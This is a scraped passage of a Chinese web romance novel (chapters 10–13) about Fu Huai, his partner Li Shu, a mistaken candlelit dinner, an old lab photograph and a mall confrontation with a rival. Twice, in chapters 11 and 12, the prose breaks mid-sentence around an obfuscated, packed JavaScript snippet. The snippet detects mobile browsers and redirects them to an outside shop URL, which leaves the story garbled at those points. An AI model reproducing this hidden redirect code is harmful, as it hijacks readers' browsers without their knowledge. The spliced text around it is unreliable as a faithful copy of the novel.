“为什么不让我帮你搬?”傅淮突然说道,“难道说……你有什么秘密藏着不告诉我?” 黎书搬着书的手微微一滞。 没等傅淮反应过来,他很快又恢复了正常,把手里的书一递,翻了几页书给傅淮看:“都是实验室要用的资料,我能有什么秘密?” - “你要找房子啊?” 室友转头看了一眼正在宿舍整理东西的黎书,开口问他道。 “嗯。”黎书点点头。 之前傅淮这么问他,其实,黎书也不知道傅淮是不是发现了什么。 可能察觉到了他放在书房里的东西? 应该不会,书房里的柜子,黎书每天都有做记号,这些天都没有人接近过。 当然,也有可能那天傅淮只是随口一说。 但眼下最为稳妥的办法,还是得要早点搬家。 “也是,宿舍这边太小了,很多电器也不能用,太不方便了。”室友说道,“我之前也准备去外面租房,我知道个地方还不错,离这儿也近,要不周末我带你去看看?” “好。”黎书点头说道,“那就麻烦你了。” 很快到了周末。 黎书刚一走到门口,傅淮突然猝不及防出现在了他的身后。 “你干什么去?”傅淮开口问道。 黎书可以每天都了解他的行程,他当然也可以过问黎书的行程! 傅淮这么想着。 “有点事。”黎书说道。 说着,黎书转头看向傅淮,对他说道:“对了,你今天晚上也得出去一趟。” 这些天,老爷子给傅淮安排了个饭局,就在今天晚上。 黎书拿出手机,低头把饭局的时间和地点给傅淮发了过去。 “老爷子说了,这还挺重要的。”黎书说道,“记得准时过去。” 说完,他大步走出了门。 傅淮低头一看手机。 黎书刚刚给他发过来的信息,显示的是一家还挺有名的餐厅。 还是一家法餐厅。 这家餐厅傅淮之前去过。 菜好不好吃倒是不记得了,他就记得,餐厅的桌上铺着香不拉几的花瓣,还有人在旁边拉小提琴。 这么浪漫的氛围,黎书他要干嘛? 邀请他吃烛光晚餐? 什么老爷子,就是黎书自己想要约他吧? 这么早出去,是提前做准备去了? 难道说,他是因为之前的事情来给自己道歉吗? 那既然黎书都这么诚心来和他道歉了,那他就勉强原谅黎书了吧! 傅淮这么想着。 随后,傅淮喜滋滋站起身来,一路走到了衣帽间里。 站在镜子前,傅淮随手脱了身上的家居服,开始在一旁的衣柜里找起了衣服。 晚上,他该穿什么过去好呢? 想到之前他生日宴的时候,黎书盯角落的那个男服务生看,傅淮想着,他是不是得要穿些显身材的衣服过去? 当然,也不能太露骨了,不然黎书缠上他了怎么办? 那他以后不都要被黎书给管着了? 但也不能太普通了。 那家法餐厅里,也有穿着制服的男服务生,万一黎书又盯上他们了怎么办? 傅淮在衣柜里挑挑拣拣的,最后还是挑了几套最贵的换上,站在了镜子面前。 随后,傅淮又理了理头发,拿出手机,依次穿着那几套衣服拍了张照,给张延周阅他们发了过去,问道:“哪个好看?” “??” “什么情况?” 两人一时都以为傅淮被盗号了。 但发过来的,又确实是傅淮本人的照片。 “怎么?你要去走秀啊?”周阅问了一句。 “你哥我有这个好身材,打扮打扮怎么了?”傅淮说道。 周阅立马就不同意了:“那我上次打扮打扮,你还说大老爷们有什么好打扮的,把脸洗洗干净就得了。” “那是你没我这个好身材。”傅淮得意道。 “你不知道,黎书就喜欢我这个身材,他……” 周阅:“……” 周阅立刻点击关闭了对话框。 - 室友找的房子确实不错。 房间不算大,位置很安静,离学校也不远,从窗口望出去,是一大片绿意的树景。 室友本来也看上了这间房子想要租的,但唯一不好的点是没有电梯,而室友是个时常爱网购大物件的人,这么搬上搬下,确实有些困难。 但黎书在这方面却没有太大的需求。 所以,黎书很快就定下来了这套房子。 签完合同之后,一看时间也差不多了,黎书叫上室友,准备犒劳犒劳室友,请他吃顿晚饭。 到了点。 另一边的傅淮也换上了挑了一下午的衣服,对着镜子整理好了头发,开着他那辆骚包的跑车,朝着那家法餐厅赶了过去。 11. 第 11 章 涂着夸张外饰的跑车一个骚包的甩尾,在餐厅门口的停车处停下。 傅淮坐在驾驶座内,探头对着后视镜再次理了理头发,这才点了点头,满意地从车上下来。 才刚一走进餐厅,里面的服务员忙迎了上来:“傅先生您好,您的包厢在楼上,我带您过去。” “哦,谢谢。” 傅淮应了一声,一边跟着服务员往楼上走去,一边暗自想着,黎书这安排得还挺隆重啊,直接就上二楼包厢去了。 这法餐厅烛光晚餐的,难道是要跟他表白? 那他这身衣服还真是挑对了,足够隆重。 不过,黎书他真要表白的话,那他要不要答应呢? 要是答应的话,他以后的日子,岂不是都要被黎书压迫了? 但要是不答应的话,大庭广众之下,黎书会不会觉得很没面子? 他不会哭吧? 傅淮心里正乱糟糟地这么想着,就听服务员在他耳边说道:“到了。” 傅淮停下脚步,正想着要不要做一下心里准备。 这时——包厢的门被一把拉开,傅淮顿时和包厢里面的秃顶大叔对上了眼。 “不是,这……”傅淮的脚步顿在原地,正要转头问问服务员是不是走错包厢了。 而这时,里面的秃顶大叔望见他后,已经一脸热情地迎了出来。 傅淮这才看见,这个秃顶大叔后面,还跟着俩和他年龄相仿的人。 看到傅淮一脸惊讶的神情,秃顶大叔还以为傅淮没认出他来,忙拉着他往包厢里走:“小淮,我是你刘叔啊。” 半晌,傅淮被顿住的大脑这才慢悠悠地感应过来,这人他确实认识,是之前和傅家一起合作过的刘总。 “好久没见了,都长这么大了?”秃顶刘叔乐呵呵地说完,又转头看向了身后的那两个人。 他给傅淮介绍,身后的这两人是他的侄子,也和傅淮一样才刚毕业,刚进公司做项目。 这次正好趁他出差刚回来,老爷子说了带上他们和傅淮一起吃个饭,同龄人之间一起认识认识,说不定之后还能有继续合作的机会。 “来来来,赶紧坐啊。”见傅淮怔愣在原地,刘叔又问了一句,“怎么了?” “不是……”傅淮犹豫着张了张口。 吃个饭确实也没啥,不过现在的问题是,黎书呢? 黎书去哪儿了? 坐下之后,趁着上菜的空隙,傅淮低头拿出手机,给黎书发信息道:“你人呢?” 黎书倒是很快就回了他:“不是说了吗?我点事出去一趟。” 随后又发来一句:“饭局怎么样?老爷子安排好的,不要迟到了。” 还真是老爷子安排的饭局! 傅淮暗中嘀咕一句。 早知道他就不来了! 但很快,傅淮似乎又想到了什么。 不对。 之前黎书说有点事要出去一趟,他还以为黎书是提前去准备烛光晚餐了。 不过,晚上既然真的是老爷子说的饭局,黎书并没有去准备烛光晚餐,那黎书今天这么早出去,今天是周末又不用去实验室,那他到底干什么去了? 傅淮赶紧低下头又问了一句。 而这次,黎书没有再回他了。 “你今天开车过来,那我们就不喝酒了,小孩子是别喝酒,我们以茶代酒!”刘叔挺着个肚子,端起杯子也不知道说了些什么。 傅淮一仰头灌下一杯茶,却浇不灭心头焦急的火。 他一边转头应付着刘叔,一边火急火燎地总算吃完了一顿食不知味的法餐。 耳边小提琴的声音总算结束,服务员又再一次迎上前来,热情地准备送他们下楼。 傅淮伸手一拍小费在服务员手上,转头跟他说不用送了,随后起身,大步朝着楼下走去。 走到一半。 透过餐厅的大玻璃窗,傅淮眼尖地望见了对面的餐厅。 对面餐厅靠窗的桌子旁,黎正坐在那里低头吃饭。 傅淮脚步一滞。 难道说,黎书他今天这么早出去,还真是在准备烛光晚餐? 但不是给他准备的,是给别人? 傅淮顿时抬眼,朝着黎书的对面望去。 随后,他看到——黎书的对面,坐在一个和黎书年龄相仿的男生,此时正抬着头,似是正在手舞足蹈地乐呵呵说着什么。 黎书抬头看他一眼,又忍不住低头笑了起来。 傅淮霎时间瞪大了眼睛。 怔愣片刻后,傅淮顿时加快脚步,朝着对面餐厅大步赶去。 等到他走到对面餐厅时,那边的黎书似乎也吃完了。 他站起身来,准备去前台买单。 刚走进餐厅的傅淮先他一步走到了前台。 “15桌买单。”得亏傅淮开飞机开赛车的好视力,提前瞄到了黎书他们桌的桌号。 傅淮伸手掏出一张黑卡朝前递去。 “好的,请稍等。” 前台的服务员正低头打单子,这时,一旁又一个声音响了起来:“你好,15桌……” 黎书说着,一抬眼,就对上了傅淮的视线。 “你怎么在这儿?”饶是平时一向极为冷静的黎书,在这里看见傅淮,也忍不住惊讶了一下,“你那个饭局……” 黎书一句话还没说完,傅淮早已经忍不住率先开了口:“这人谁啊?你和他吃饭他竟然让你买单?” “这是我……” 然而,傅淮却没有给黎书说话的机会。 他视线在黎书桌对面那人脸上停留了片刻,又再次迅速开了口:“他知道和你在一起之后哪儿都不能去吗?他能受得了吗?” “还有——”傅淮又继续说道,“他知道你什么都要管吗?” 黎书难得反应迟钝,一脸疑惑地朝着傅淮看去,似乎不太明白他这是什么意思。 傅淮避开他的视线,又转头看了一眼15桌的桌子,一伸手忿忿说道:“你看,他都不帮你剥虾!” 这时,黎书的室友喝完最后一口水,也起身走上前来。 看见黎书身旁的傅淮向他投来不善的眼神,室友转头疑惑地问黎书道:“他谁啊?” “我当然是他……” 傅淮话还没说完,就被黎书重重拍了一下。 傅淮抬起头,不可置信地睁大眼睛,看向黎书的眼神中满是委屈和受伤:“你竟然为了他打我?” 黎书:“……” 黎书不想放任傅淮继续在这里丢人,在和室友打过招呼后,就提溜着他把他给塞进了车里。 “这是我室友。”或许是嫌傅淮吵闹,黎书难得和他解释了一句。 “我不是也是你室友?”傅淮顿时说道。 他每天都和黎书一起住,不是室友是什么? 随后,想起刚刚没有说完的话,傅淮又继续说道:“我还是你……” 说着,傅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13776632|145744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淮似乎又想到了什么。 他一伸手把也黎书拉上了车,反手关上车门,又上了锁。 随后,傅淮转过头去,盯住黎书的眼睛,十分严肃地开口问他道:“室友?你和他睡一起了?” “不是……” 黎书无语地低头叹气道。 “不是一张床。”黎书说道,“你没住过宿舍吗?” “没有。”傅淮如实地摇头。 “没有也应该见过。”黎书冷冷说道,“宿舍里一人一张床,谁和他睡一起了?” 这倒也是。 但傅淮又很快反驳道:“那你怎么这么晚了还和他一起?” 没想到傅淮这人还挺麻烦,不像以前那样可以随口打发。 黎书有些累了,不欲多说,随口反问:“你这么晚不也和别人一起?” “哦——”傅淮似乎反应过来什么,突然笑了一下,“你吃醋了?” 黎书:“……” 随便吧,黎书不想说话,也没准备和他说自己在外面租了房的事情。 他确实是累了。 随后,黎书似乎感觉,傅淮的心情顿时又好了起来。 他一脚油门下去,跑车轻快地一个甩尾开回了家。 回到家换了鞋,傅淮想到什么,又在黎书的身后喊了一句:“对了,刚刚和我一起吃饭的那是个秃头大叔!” “哦,还有两个年轻的,但可能是遗传,头发也没多少!”傅淮又补充道,“我不喜欢这个类型的,你放心好了!” 回应他的,是黎书“啪”的一声反手关上的门。 关门的声音这么大,看来还是很在意他的啊。 平时的黎书最注重礼仪,才不会这么重地关门。 傅淮想着,乐呵呵地准备先去洗个澡。 就是今天特意挑的这身衣服,黎书都没有好好欣赏,真是可惜了。 但没关系,以后有的是机会。 不过,经过这次的挑衣服之行,傅淮也发现,他衣柜里的这些衣服,还真是挑不出什么好的来。 傅淮从前基本不在意穿什么,衣服都是随手买的,以后倒是可以去和爱打扮得很骚包的周阅多取取经。 傅淮这么想着。 走进衣帽间,傅淮又发现,黎书的衣服其实也不多。 或许是图方便,黎书的衣服大多都是一溜烟同色系的白衬衫黑裤子,不过,他这样穿着却很好看。 但也可以多尝试些其他的。 傅淮突然觉得,家里衣帽间可以再扩大一些。 可以把后面两间空置的房间打通,一边给他用,一边给黎书用。 嗯,不错。 傅淮这么想着,点点头满意地伸手拍了拍一排衣架子。 这时,他突然感觉,手上摸到了个什么硬硬的纸片。 什么东西? 傅淮刚想要伸手去看,就见黎书一件衣服的口袋处,慢悠悠地飘下来了一张什么纸片。 傅淮低头一看。 竟然是一张照片。 傅淮弯下腰捡了起来,这才发现,这是一张陈年旧照,看着已经有些年头了。 泛黄的照片上,是一个人的半身像。 一个穿着实验室白大褂的男大学生,正对着镜头温和地笑着。 这个人,傅淮没见过。 傅淮顿时瞪大了眼睛。 这人是谁? 黎书口袋里,竟然藏着别的男人的照片? 12. 第 12 章 房间门被敲响的时候,黎书正好洗完澡出来。 他拿着条毛巾伸手擦了擦头发,转头出去打开了门。 “怎么了?” 看见门外一脸严肃的傅淮,黎书抬眼,随口问了他一句。 “你……” 傅淮手里拿着那张照片,气势汹汹地上前一步。 这一步迈得有些大,直接半个身子迈进了黎书的房间内。 等傅淮反应过来的时候,他这才察觉,他此时和黎书之间的距离,似乎已经有些过于近了。 傅淮似乎都能闻到黎书刚洗完澡出来,身上带着的微微带着点凉意的干净清新的皂香。 黎书此时的头发还没完全擦干,额前的头发湿润地垂在眼前。 大概是没想到晚上还有人进来,他的衣服穿得不像白天那样板正,睡衣领口开着一颗扣子,质地柔软地垂坠在身上。 领口处被额前发梢没擦干滴下来的水润湿了一些,贴在身上,微微有些半透明。 有几颗水珠正顺着颈侧往下滑,轻巧滑地过冷白的锁骨,一瞬间没入了领口。 傅淮手上紧捏着照片,有一瞬间忘了说话。 “咳……” 傅淮清了清嗓子,回过神来,想起了他来找黎书的正事,正要开口。 但黎书的动作更快。 “你从哪里找到的?” 黎书一眼看到了傅淮手里正捏着的那张照片,当即一伸手拿过来问道。 动作过快,他的指尖不经意间擦过了傅淮的手背。 “咳。”傅淮指尖收紧,又一次清了清嗓子。 随即,他这才反应过来黎书抢走了照片,顿时不满地开口道:“这是谁?” “你怎么还私藏他的照片?”傅淮瞪大眼睛望向黎书。 他这么一望,一瞬间对上了对面黎书带着几分冷意的眼神。 傅淮一瞬间以为自己看错了。 黎书平时虽然处处管着他压迫他,但傅淮之前还从来没有见过眼神这么冰冷的黎书,冷得他一瞬间背后发颤。 或许真的是傅淮看错了。 这股冷意转瞬即逝,片刻又恢复成了黎书平日里神色淡淡的模样,可他依旧这么直直地盯住傅淮的眼睛,开口问他道:“这你是从哪里找到的?” “从……衣柜里啊。”不知怎么,傅淮被他的这个眼神看得有些发毛,他如实说道,“你衣服口袋里自己掉出来的。” “哦。”黎书不动声色地松了一口气。 黎书低头盯着照片看了几秒,抬头看向傅淮,解释了一句:“这是我的一个……前辈。” “前辈?”傅淮顿时愣了。 但一想确实也是。 这张照片已经很陈旧了,看上去有好些年头了,而照片上的这个人,这么久之前是个年龄和他们现在相仿的大学生,现在的话,应该比黎书大挺多了。 照片上的这个人穿着研究院的白大褂,确实可以说是黎书的前辈。 “那你……” 傅淮又张了张口,他其实还又好些问题想问,比如这个人到底是谁,黎书偷偷藏着这个人的照片想要干什么。 但他抬眼看了一眼黎书的脸色,又突然不知道自己该不该问。 而面前的黎书低头,看了手里的照片几秒钟后,意外地主动开了口。 他转身,走进房间内的书桌上翻找了一下,突然拿出了一本薄薄的小相册来。 相册翻开,里面有很多类似的人像照片,看上去都不新了。 不过倒也很正常。 现在的照片都是电子版的,手机上一翻就能看到,除非那些有特殊意义的照片,其实已经很少有人会特地去把照片给打印出来了。 黎书随手翻开相册,指了指里面的照片对傅淮说道:“都是实验室的前辈们,当时一起打印的,都是一些关系很好的人。” “刚刚你看到的那张,可能是不小心落在口袋里没拿出来的。”黎书说道。 “哦。”傅淮点头道,“这样啊。” “嗯。”黎书解释完,看了一眼一旁的时间,又抬眼看向傅淮,说了一句,“很晚了,快去休息吧。” 这就是在送客了,傅淮自然听得出。 而黎书刚刚的解释,傅淮也可以接受。 “那我去睡了。”傅淮转头正要出去。 然而,走了两步之后,傅淮突然脚步一顿,又再次转过身来。 “怎么了?” 黎书正要收起相册手一顿,抬眼看向傅淮。 “你刚刚说——”傅淮的视线也转向相册,开口说道,“这些照片上面的人,都是和你关系很好的人。” “嗯。”黎书点头,肩背却有些不易察觉的紧绷。 “那你怎么不放我的照片?”傅淮开口说道,“我和你关系不好吗?” 黎书:“?” 黎书抬头,不解地看向傅淮,肩背上的紧绷却很快松了下来。 “我看人家都相互把照片放钱包里,随时都拿出来看的。”傅淮在一旁小声嘀咕道,“你不放钱包也就算了,怎么连相册里也不放我照片啊?” 黎书:“……” 黎书默默叹了一口气,抬头再次和傅淮解释:“这些照片上的人,都是研究院里的前辈,是我要学习的对象。” “你……” 黎书很给面子地没有把“你”字后面的语句说出来,但含义却已经很明了了。 人家是他学习的对象,你有啥可学习的? 翘课打架四处浪吗? “哦。”傅淮默默地点头道,“这样啊。” 难怪是好学生。 傅淮一边小声嘟囔着走回房中,一边想起什么,又转头对着黎书的房间喊了一句:“你头发擦干了再睡!” “嗯。”平时这样的话语黎书一般不怎么回应,但今天不知怎么,他应了一声,冰凉的脸色似乎终于有了一丝人气。 傅淮脚步声走远后,黎书把手里陈旧的照片放在桌上,“啪”的一声关上了房门。 挺直的肩背疲惫地松下,黎书背靠在门上,低着头想,他刚刚都已经把相册给傅淮看了,他应该不会再起什么疑心了。 随后,黎书走到书桌前,默默地盯着桌上的照片看去。 他刚刚其实也没有骗傅淮。 他说他要向这些前辈们学习,确实也没有说错。 只是,他应该再也没法向他们当面学习了。 照片上的这些人,都在那年的研究院爆炸事故中去世了。 “嗡——”的一声。 放在桌上的手机突然响了起来。 黎书低头一看,是陈杨给他发来的信息。 “我拿到今年的奖学金了,最高等级的那种!”陈杨的语气听起来很兴奋,“学长周末有空吗?我请你吃饭!” 黎书笑笑,拿起手机给陈杨回复道:“好啊。” 得到了肯定的答案后,对面的陈杨又继续兴奋地开口道:“学校那边好像新开了一家游戏厅,我有点想去看看,学长能陪我一起去玩吗?” 游戏厅? 黎书盯着手机屏幕看了一眼,最后还是点头,给陈杨发过去道:“好。” “真的吗?”手机那头的陈杨顿时兴奋道,“太好了!” 黎书仿佛能从中这几个字眼里看到陈杨激动的神情。 他弯起嘴角笑笑,随后关上手机,在床边坐了下来。 刚刚翻出来的那几张照片还摆在桌上。 放在最外面的,是傅淮刚刚在黎书的衣服口袋里无意间发现的那张。 黎书低头,盯着那张泛黄照片上定格的正温和微笑着的,和陈杨有几分相像的脸看去。 那是陈杨的哥哥,陈午。 黎书偶然能想起当年,那时他还很小,爆炸案还没有发生,黎书的父母还在,他还没有去到黎家。 陈午是黎书他爸带的学生,据说是他爸在整个研究院里最得意的门生。 那时黎书才不到十岁,他父母工作很忙,经常是陈午大哥哥牵着他的手带他吃饭,带着他到处去玩,还会领着他去实验室理,给他科普各种黎书好奇的实验室小知识。 “我以后长大了,也要像爸爸和陈午哥哥一样,来实验室里做研究。”那年,小小的黎书这么说道。 “好啊。”陈午蹲下身来,摸着他的脑袋笑着说道,“那你就快快长大吧。” “到时候咱仨一块儿在实验室里加班,那你妈估计得疯。”当时,黎书他爸这么开玩笑道。 几个人一起笑了起来。 后来的后来,他确实做到了。 但可惜,他再也没有机会和他们一起加班了。 事故那年黎书九岁,陈杨就更小了,几乎不怎么记事。 直到后来黎书长大了些,上了大学,才又重新找到了陈杨。 当年陈午这么照顾他,如今,他也该像当年陈午大哥哥带他那样,在能帮忙的地方照应一下陈杨。 正这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13776633|145744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么想着,桌上的手机突然又震动了一下。 黎书低头一看,是陈杨又发过来的一条信息。 说是过阵子就该到黎书的生日,问他想要怎么过。 “学长喜欢什么呀,奖学金有好大一笔钱呢,我去给你准备生日礼物!”陈杨在手机那头问道。 “这就不用了。”黎书温声说道,“钱你自己好好留着就行。” “我不过生日。”黎书说道。 - “你还要买什么呀?” 周阅手里拎着大包小包的刚刚在商场里进的货,谢绝了商场经理笑得一脸灿烂说要帮他们把东西拎到车里的举动,转头问一旁的傅淮道。 在之前考虑到要给自己的衣柜多添一些新衣服后,傅淮很快找来了周阅,准备向这个一向打扮得很骚包的人多取取经。 于是这天,傅淮拉着周阅和张延一起来到了商场,一起血洗了商场里的大牌店。 然而,在买完一轮之后,傅淮突然又转头朝着商场看去。 周阅疑惑地问了一句:“还有什么要买的吗?” 傅淮说道:“对了,过几天就是黎书的生日了。” “哦。”周阅问道,“然后呢?” “我得给他买生日礼物啊!”傅淮说道,“衣服行吗?也不知道他喜欢什么样的……” “你……” 周阅和一旁的张延对视一眼,正要犹豫着开口。 傅淮似是看出了他是什么意思,顿时率先开口道:“我才不是对他有什么想法!” “我之前生日他还送我花了,我这不是得礼尚往来吗?”傅淮理直气壮地说道。 “行行行。”周阅忙摆摆手点头,一副不想听他解释的样子。 “哎,你这什么态度。”傅淮似是还想再开口辩解,但眼角的余光似是瞥见了什么,突然转过了头去。 果然,在一旁的某家奢牌店里,看见了一个还算熟悉的人。 ——赵钰。 赵钰这孙子前些日子在操场上被傅淮怼得灰溜溜地离开了,现在倒是打扮得人模狗样,往奢牌店里一坐,倒还像那么几分样子。 距离不算远,傅淮听到了赵钰转头,开口问身旁的人道:“黎书喜欢什么呀?他过几天生日,我准备给他送点儿好的。” 傅淮探头,赵钰身边那人看了过去。 有几分眼熟,但没什么印象。 倒是一旁的张延认了出来,说道:“那不是黎嘉吗?” 哦,难怪傅淮会觉得眼熟。 前些日子他生日宴上,这人来过,傅淮和他打过照面,黎书的大哥,黎嘉。 黎嘉很快回答赵钰道:“我还真不清楚黎书这人喜欢什么。” “他基本不怎么回家,也不怎么说话,我和他不太熟。”黎嘉说着,突然笑道,“他就是个书呆子,整天只知道看书,他能喜欢什么。当年在我家那个小破房子里,大冬天冻得哆哆嗦嗦都还不忘看书。” 小破房子里? 听到这里,一旁的傅淮突然愣住了。 黎家虽然不比傅家,现在资金也确实出了点问题。 但怎么说也是住大别墅的,家底还在那里,现在普通人家里大冬天都有空调地暖,黎家这样的大家族,怎么也不应该住小破房子里冬天冻得哆哆嗦嗦的吧? 随后,傅淮才反应过来,黎书不是黎家人,好像只是黎家遥远的旁支,是在很小的时候被黎家给领养的。 所以,黎家这是在苛待他吗? 黎书他小时候还遭遇了什么? 傅淮顿时一阵怒意。 没等他大步上前,只听黎嘉继续说道:“你喜欢那个书呆子干什么?酒吧里的那些玩够了?” 赵钰笑道:“这个不一样,你不知道吧?冷冷淡淡不理人的才带劲呢!” “那天我在学校里又看到他了,别的不说,长得是真好看啊。”赵钰说着,脸上的表情越发放肆。 傅淮的拳头早已攥紧,被一旁的张延一把拉住:“商场里到处都是摄像头,别在这儿揍他。” 那边的黎嘉没有察觉到这里的动静,继续说道:“黎书他不是已经和傅淮了吗?” 这话一出,赵钰顿时嗤笑道:“他们只是联姻,傅淮一看就对这些不感兴趣,还不如跟我,我对他肯定比傅淮好多了。” “再说了,黎书是个读书人,怎么可能会喜欢傅淮那样的莽撞人。”赵钰十分肯定地说道,丝毫没有察觉到周围的温度已经顿时骤降了下来。 13. 第 13 章 赵钰这话一出,顿时,张延和周阅两个人都拉不住傅淮了。 而那边的赵钰还并未察觉,还依旧在那里大放厥词:“傅淮他啥也不懂,只会开个赛车横冲直撞的,他们俩之间能有什么共同语言。我还能写个书法画个画的,说不定黎书更喜欢我这样的呢……” 他这句话还没说完,就已经被大步上前的傅淮一把抓住领口拎了起来。 “你……” 这才看到傅淮的出现,刚刚还在口出狂言的赵钰下意识地哆嗦了一下。 而一旁刚刚还和赵钰哥俩好的黎嘉,此时似乎也感觉到了傅淮的怒气,他顿时后退一步,站得离赵钰远了一些。 “你再说一遍?” 傅淮一手拎起赵钰,冷眼扫过面前的这两个人。 “我不是……” 赵钰的领口一瞬间被拎起,他远没有傅淮个子高,此时被迫踮起脚,一边捂着喉咙一副痛苦状,一边断断续续张口想要解释着什么。 “别、别打架……” 此时,这几人还在店里,看到傅淮的动作,奢牌店里的店员一时也都吓了一跳。 但这两边都是品牌的vip客户,都是店员得罪不起的人,一旁的几个店员赶紧上前一步,但相互转头看看,一时也不知道到底该要怎么劝架。 对上傅淮,赵钰确实有些怂了。 先不说傅家的家底,赵家完全就比不上,而且,他刚刚也没有说错,傅淮他确实是个什么都敢干的莽撞人。 赵钰依稀可以记起从前,在他们读中学的时候。 那会儿,学校有个打扫卫生的阿姨,腿脚不是很灵便,每次拎着拖把经过走廊时,学校里一小撮学生就会凑在一旁探头观望,还有不少偷偷学着这个阿姨一脚轻一脚重走路,引得周围人哈哈大笑的同学。 某天,赵钰和另一个公子哥一起,下了课闲得无聊,偷偷走到这个阿姨正在拖地的走廊边上。 随后,那个公子哥突然伸出脚来,一脚踩住了阿姨正在认真拖地的拖把。 阿姨一时不察,一个趔趄,忙要稳住身形。 而她的腿脚本来就不太好,在刚刚拖过的湿滑的地面上没处可扶,双手胡乱摆动着极力想要稳住身形的动作,引得周围一群大少爷凑在一起哄堂大笑。 好在恰好这时,一旁有老师路过。 可一般的老师看在他们的身份上,也不敢去管他们,只能赶紧伸手扶住阿姨,转头对着那群人说一句“别这样”。 而那群人根本不听,继续嘻嘻哈哈笑着相互打闹。 就在这时——一旁的人群突然被挤开。 傅淮来了。 不过,这群人也没意识到什么,还在继续说笑打闹中。 大家都很自然地以为,平时爱翘课打架的傅淮肯定是和他们一边儿的,还正想要开口和傅淮形容一下刚刚的趣事。 谁知道傅淮冷着脸大步上前,一把拎起那个带头踩阿姨拖把的公子哥,一拳头直接就揍了上去。 那人瞬间被打得脸往旁边一歪,鼻血顿时就流了出来。 “卧槽!” 原本一大群正嘻嘻哈哈围观看热闹的大少爷们顿时被吓得纷纷后退一步。 赵钰也被吓得忙缩着脖子往人群后面躲,一边暗自庆幸傅淮刚刚没有注意到他也和那人一起。 打了两拳后,张延从后边跑上去想要拉住他:“别打了,校长来了!” 然而却并没能拉住。 ——当着老师和校长的面,傅淮又再次给了那人一拳。 赵钰记得,后来,被揍的那人他们家公司也正好出了些资金问题,那人也很快转了学,最后默默地搬出了这个城市。 想着,赵钰下意识地就想要后退。 这时,店长也带着商场的经理赶了过来过来,这边的傅淮也已经被张延和周阅给拉住了。 赵钰终于被松开。 他赶紧后退一步,拉开了和傅淮之间的距离。 而傅淮冰冷的眼神依旧死死的盯着他看去:“我再警告你一次,你离黎书远点,别再让我看到你!” 傅淮说着,突然想到什么,又转头冷眼看了一旁的黎嘉一眼。 黎嘉不太明白自己怎么也被波及了,他被傅淮的冷眼盯得打了个寒颤,也默默又后退了好几步。 “行了,回去之后再说吧。”张延拉住傅淮,说道,“要是被你家老爷子知道,又得念叨你了。” “那是他该!”傅淮又再次怒道,“这些个垃圾!” “行了,先回去吧。”周阅也拉住他劝道,“这里人太多了,别一会儿被拍到上了热搜,说是你先动手的,那就什么都说不清楚了。” 傅淮这才终于转身。 然而,往回走了两步之后,他突然想到什么,又转回头去,气愤地说了一句:“谁说黎书不喜欢我这样的?” “他不喜欢我他能天天管着我吗?” “我今天的衣服还都是他帮我搭的呢!”傅淮喊道。 “是吗?”听到这里,周阅顿时好奇地问了一句。 “是啊,怎么不是?”傅淮说道,“他让我去公司穿规整一点儿的,我才挑的今天这套。” 周阅:“……” 行吧,你说什么就是什么。 - 从商场出来,傅淮一肚子气地回到了公司。 坐在公司顶楼的大办公室里,傅淮一手撑着脑袋,一边低头看着几天之后要用到的项目策划表。 看到表上黎嘉的名字,傅淮顿时想到了他刚刚在商场里听到的黎嘉说的话。 傅淮直接一伸手,把黎嘉的名字从项目书里面给划掉了。 之前,想到黎书特地问他生日宴能不能带上黎嘉,傅淮还以为他们关系不错。 所以,在黎家人多次极力表达了想和傅家合作,想让他带带黎嘉的时候,看在黎书的面子上,傅淮答应了这次的项目带上黎嘉的请求。 而现在,他在听说黎家似乎以前苛待过黎书后,傅淮想着,是时候得让他们出点血了。 删删改改完之后,傅淮转头喊了助理小文过来,通知他重新安排下去。 “哎,好嘞。”小文拿起文件,正要转身出去。 突然,又被傅淮给叫住了。 傅淮靠在椅背上,脑袋里突然浮现出了赵钰之前的话来。 傅淮顿时抬起头来,开口问小文道:“我是个莽撞人吗?” 小文脚步一顿。 他脑中顿时浮现出之前不小心看到过的,傅淮和傅老爷子吵架时的场景。 不过,为了自己的工资和奖金着想,小文只能违心答道:“怎么会呢?” “是吗?”傅淮又再次确认道。 “那肯定的!”小文十分确定地点头,仿佛看到不远处的奖金已经在朝着他招手,“您怎么会是莽撞人呢?您是英明神武的公司接班人呐!” “真不是?”听小文说得这么肯定,傅淮一时也犹豫了,“那莽撞人是什么样的?” 可不就是您这样的。 连傅老爷子都敢反抗,就差指着鼻子骂上去了。 小文在心里默默嘀咕道。 但为了自己的工作和未来,他可不能这么说出来。 “莽撞人……”小文低头想了想,突然灵光一闪,“莽撞人,张飞啊!” “姓张名飞字翼德,万古流芳莽撞人!”小文脱口而出道。 “你说相声呢!”傅淮忍不住想踹他一脚。 小文赶紧缩了缩脖子,正准备偷偷溜出去。 傅淮突然又想。 我和安安静静的读书人真的不搭吗? “对了小文。”傅淮想到什么,又再次把一只脚已经踏出办公室门的小文给喊了进来。 “嗯?”小文又再一次回过了头。 “你找个时间,帮我买点笔啊纸啊什么的书画材料过来。”傅淮说道。 “哦,好的。”小文拿起平板在上面一边记录,一边抬起头问道,“需要什么规格的?大概要多少份?” 这个傅淮自己也不太懂,他随口说道:“就……先每样来一点儿就行。” “每样来一点儿?”对于如此随意不正规的要求,小文有些诧异,“不是公司需要吗?” 